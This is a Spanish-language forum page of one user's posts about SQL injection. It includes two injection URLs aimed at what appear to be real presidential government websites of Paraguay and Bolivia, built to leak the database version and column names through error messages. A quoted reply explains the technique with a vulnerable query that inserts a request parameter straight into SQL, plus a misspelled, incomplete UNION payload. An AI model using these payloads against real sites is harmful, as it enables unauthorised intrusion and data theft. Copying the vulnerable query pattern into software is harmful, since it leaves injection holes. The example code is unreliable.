Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
http://www.presidencia.gov.py/detalle.asp?codigo=convert(int,(@@Version))Cita de: Azielito en 17 Febrero 2009, 17:42 PMNo importa
perdon, es que me hizo gracia
no es personal pues, disculpa...
CitarTe explico
cuando haces una web que toma datos de una base de datos, para recuperar haces algo parecido a estoCódigo (sql) [Seleccionar]
SELECT * FROM `noticias` WHERE id=$_GET['id']
Siempre haces eso (es un ejemplo xD) cuando haces un sistema de noticias, pero siempre tienes un "select" lo que hacemos a la hora de una SQLinjection es modificar ese "SELECT"
quedando algo asíCódigo (sql) [Seleccionar]
SELECT * FROM `noticias` WHERE id=-1 AND UNION SELEC 0,1,2.....
^aqui nuestro code
o sea que, el "SELECT" va implicito
si se hacer consultas desde PHP 
, aunque nunca esta de mas una explicacion para los que no entienden
http://www.presidencia.gob.bo/prensa/Noticias.asp?id=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%27VIEW1%27))
.
Msgbox "Uso las etiquetas de codigo (code=vb)"